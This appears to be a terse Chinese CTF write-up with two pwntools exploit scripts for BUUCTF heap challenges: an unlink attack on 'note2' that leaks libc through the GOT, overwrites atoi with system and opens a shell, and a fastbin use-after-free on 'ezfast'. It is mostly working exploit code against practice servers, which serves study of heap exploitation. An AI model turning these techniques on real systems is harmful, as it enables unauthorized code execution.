漏洞点:
思路:
通过add(0,'')绕过,实现堆溢出,got表可写,随后进行unlink即可。
exp:
from pwn import *
# p = process('./note2')
p = remote('node4.buuoj.cn',28447)
e = ELF('./note2')
libc = ELF("./libc-2.23.so")
atoi_got = e.got['atoi']
free_got = e.got['free']
puts_plt = e.plt['puts']
p.sendlineafter('Input your name:','amazh')
p.sendlineafter('Input your address:','aaaa')
def add(size,content):
p.sendlineafter('option--->>','1')
p.sendlineafter('(less than 128)',str(size))
p.sendlineafter('Input the note content:',content)
def show(index):
p.sendlineafter('option--->>','2')
p.sendlineafter('Input the id of the note:',str(index))
def edit(index,content,mode=1):
p.sendlineafter('option--->>','3')
p.sendlineafter('Input the id of the note:',str(index))
p.sendlineafter('[1.overwrite/2.append]',str(mode))
p.sendlineafter('TheNewContents:',content)
def delete(index):
p.sendlineafter('option--->>','4')
p.sendlineafter('Input the id of the note:',str(index))
chunk_ptr = 0x602120
def dbg():
gdb.attach(p)
pause()
p.timeout = 0.5
pl1 = p64(0) + p64(0xa1) + p64(chunk_ptr-0x18) + p64(chunk_ptr-0x10) +'aaaa'
add(0x80,pl1)#0
add(0x0,'')#1
add(0x80,'')#2
add(0x10,'a')#3
pl2= 'a'*0x18+ p8(0x90)
edit(1,pl2)
for i in range(7):
edit(1,'a'*(0x17-i) )
edit(1,'a'*0x10 +'\xa0')
delete(2)
edit(0,'a'*0x18 + p64(chunk_ptr+ 8))
edit(0,p64(atoi_got))
show(1)
p.recvuntil('Content is ')
addr = u64(p.recv(6).ljust(8,'\x00'))
success('addr:' + hex(addr))
base = addr - libc.sym['atoi']
success('base:' + hex(base))
sys = base + libc.sym['system']
edit(1,p64(sys))
p.sendline('/bin/sh')
# dbg()
p.interactive()
漏洞点:uaf
exp:
from pwn import *
# p=process('./ezfast')
p=remote("node4.buuoj.cn",28780)
context.log_level="debug"
def add(size):
p.recvuntil('choice>')
p.sendline('1')
p.recvuntil('size>')
p.sendline(str(size))
def delete(index):
p.recvuntil('choice>')
p.sendline('2')
p.recvuntil('index>')
p.sendline(str(index))
def edit(idx,content):
p.sendlineafter('choice>','3')
p.sendlineafter('index>',str(idx))
p.send(content)
def backdoor():
p.sendlineafter('choice>','4')
def dbg():
gdb.attach(p)
pause()
p.timeout = 0.5
add(0x40)#0
delete(0)
edit(0,p64(0x602080))
add(0x40)#0
add(0x40)#1
edit(2,p64(0))
# dbg()
backdoor()
p.interactive()